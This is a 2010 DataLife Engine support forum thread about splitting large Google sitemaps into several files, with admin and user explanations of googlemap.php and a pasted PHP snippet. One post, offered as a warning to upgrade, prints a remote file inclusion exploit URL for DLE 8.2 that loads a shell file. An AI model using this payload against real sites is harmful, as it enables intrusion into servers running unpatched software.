DLEVIET - DataLife Engine Support Home Page

DataLife Engine Support » DataLife Engine » Help (FAQ) » Please Help!! How to create Multiple sitemaps ??

Please Help!! How to create Multiple sitemaps ??

  • Author: dlheaven;  
  • Views: 1229;  
  • Date: 1 May 2010;  
Please help somebody, i need to create multiple sitemaps for my site because google takes sitemaps with 50000 urls only so i have to create multiple sitemaps with 50000 urls each.


We encourage you to Register or Login to website under your name.

sri

Posted 1 May 2010 19:21 Register: 25.04.2010
hi

admin and others

dlheaven asked very very important question.

also i need. pl tell correct answer.

we are waiting....

thanks



Alammary888

Posted 1 May 2010 20:46 Register: 3.03.2010
When you create a map of the control panel ..
People develop, for example 10000 will establish such more than map ..

sitemap.xml
sitemap_1.xml
sitemap_2.xml
sitemap_3.xml

So good luck

Michael

Posted 1 May 2010 21:21 Register: 14.03.2010
answer properly dude

dlheaven

Posted 1 May 2010 21:23 Register: 10.03.2010
Alammary888,
I didn't understand what you are saying. fellow

Alammary888

Posted 1 May 2010 21:32 Register: 3.03.2010
Quote: dlheaven
I didn't understand what you are saying.


Here

admin

Posted 1 May 2010 23:38 Register: 25.04.2009
In file engine/inc/googlemap.php, you can see

- If you don't enter Quantity of news:
- then LIMIT = All news
- After that: If LIMIT > 45000 then PAGE = Integer of LIMIT/40000 and write data to file sitemap.xml, sitemap1.xml, sitemap{t}.xml
- Else build only file sitemap.xml

So, We don't need to solve anything. DLE do that before love
Do you love DLE wink

More info:
http://www.sitemaps.org/protocol.php
http://www.google.com/support/webmasters/bin/topic.py?topic=28044
http://www.google.com/support/webmasters/bin/answer.py?hl=en&answer=34609
http://www.google.com/support/webmasters/bin/answer.py?answer=71453

dlheaven

Posted 2 May 2010 01:20 Register: 10.03.2010
Quote: Alammary888

Quote: admin

thanks got it. smile

sri

Posted 15 May 2010 18:53 Register: 25.04.2010
hi admin

i don't understand

pl tell detailed answer.

because i don't see that code : engine/inc/googlemap.php

which code i change or add to that place.

thanks

sri

admin

Posted 15 May 2010 21:42 Register: 25.04.2009
You don't need to add any code.
You only go to Google Sitemap in Admin CP
Press button To Create / to Update a sitemap file
That all! (don't enter anything in field Quantity of news:)

sri

Posted 16 May 2010 00:59 Register: 25.04.2010
hi admin

thanks


but you told this answer was i confused.

pl clarify i marked red colour.



In file engine/inc/googlemap.php, you can see

- If you don't enter Quantity of news:
- then LIMIT = All news
- After that: If LIMIT > 45000 then PAGE = Integer of LIMIT/40000 and write data to file sitemap.xml, sitemap1.xml, sitemap{t}.xml
- Else build only file sitemap.xml


So, We don't need to solve anything. DLE do that before
Do you love DLE

More info:
http://www.sitemaps.org/protocol.php
http://www.google.com/support/webmasters/bin/topic.py?topic=28044
http://www.google.com/support/webmasters/bin/answer.py?hl=en&answer=34609
http://www.google.com/support/webmasters/bin/answer.py?answer=71453




thanks


sri

admin

Posted 16 May 2010 01:39 Register: 25.04.2009
I explain code in that file. So what do you want?

Michael

Posted 16 May 2010 02:55 Register: 14.03.2010
admin,
you didn't explain properly

sri,
listen what you have to do
go to engine/inc/googlemap.php
edit that page

on line number 39(approx)
you will see the following line
    if ( $map->limit > 45000 ) {

here 45000 defines the number of news per sitemap
just write your value, i mean the number of news you want in each sitemap in the place of 45000 {Hope i am correct coz i am not a DLE expert}

by default it's 45000 in DLE 8.5


it looks like you are using DLE 8.3 or old
hence you are not getting that line in engine/inc/googlemap.php


and always use the latest version of DLE
DLE 8.2 has lots of bugs and
DLE 8.2 is VUL to RFI so if you don't want your site to be h@cked then upgrade to 8.3 or 8.5 if you are not using it




DatalifeEngine 8.2 Remote File Inclusion Vulnerability

www.site.com/engine/api/api.class.php?dle_config_api=[shell.txt?]

I think i don't need to explain a bit more. This above line will be enough to explain how to h@ck sites running DLE 8.2




admin,
why use of word filter to replace the word h@ck with edit code ???

admin

Posted 16 May 2010 03:44 Register: 25.04.2009
Michael,
To use google advertising.
My brother told that, so I change lol

sri

Posted 16 May 2010 11:05 Register: 25.04.2010
hi admin and micheal

thanks

note :

i am using dle 8.3

micheal you told line 39(approx)

i marked red line. that line was i changed.

is correct.



here i paste my sitemap coding :

staring line 25 to 43 pl or if you want full code i give.

pl see the code :

if ($_POST['action'] == "create") {

include_once ENGINE_DIR.'/classes/google.class.php';
$map = new googlemap($config);

$map->limit = intval($_POST['limit']);
$map->news_priority = strip_tags(stripslashes($_POST['priority']));
$map->stat_priority = strip_tags(stripslashes($_POST['stat_priority']));
$map->cat_priority = strip_tags(stripslashes($_POST['cat_priority']));


$sitemap = $map->build_map();

$handler = fopen(ROOT_DIR. "/uploads/sitemap.xml", "wb+");
fwrite($handler, $sitemap);
fclose($handler);

@chmod(ROOT_DIR. "/uploads/sitemap.xml", 0666);
}

and once more :

we / i will change the code. then sitemap automatically create sitemap pages..1,2,3,

is correct or wrong.

pl help me

admin and micheal

here more visitors and few developers coming and all gather points and also share it. i am going to many site. but no more site told proper answer.

here only all i and many people get it.

thanks



sri

Michael

Posted 16 May 2010 16:27 Register: 14.03.2010
admin,
also remove words like Click ads or Click me etcc.. bcoz google adsence bot checks these words lol .. afterall humans are more smarter than bots tongue

sri,
m sorry but,
i think, this feature of setting limit of sitemap news quantity is not there in 8.3(DLE)

but this feature is included in 8.5(DLE)

if you still want that in 8.3 then you will need to edit the php code of googlemap.php

thx

sri

Posted 16 May 2010 21:02 Register: 25.04.2010
thanks michael

have a nice day

hereposter

Posted 4 January 2011 21:31 Register: 29.12.2010
I do not understand how to create multiple sitemap. Can you explain more details? I want to have sitemap.xml, sitemap1.xml, sitemap2.xml
Information
Members of Guest cannot leave comments.

Popular

Pagerank Update

    Updates Yandex SEO
    04.02.2012
    23.12.2011
    09.12.2011
    Updates Yandex search
    02.02.2012
    28.01.2012
    25.01.2012
    Updates Yandex Catalogue
    03.02.2012
    02.02.2012
    01.02.2012
    Updates Google
    08.11.2011
    05.08.2011
    27.06.2011

Find us on Facebook

Poll

How do you know DataLife Engine Support?

Search Engine
Other DLE Support websites
Forum
Friends
Others

Sponsor

Calendar

«    February 2012    »
MoTuWeThFrSaSu
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29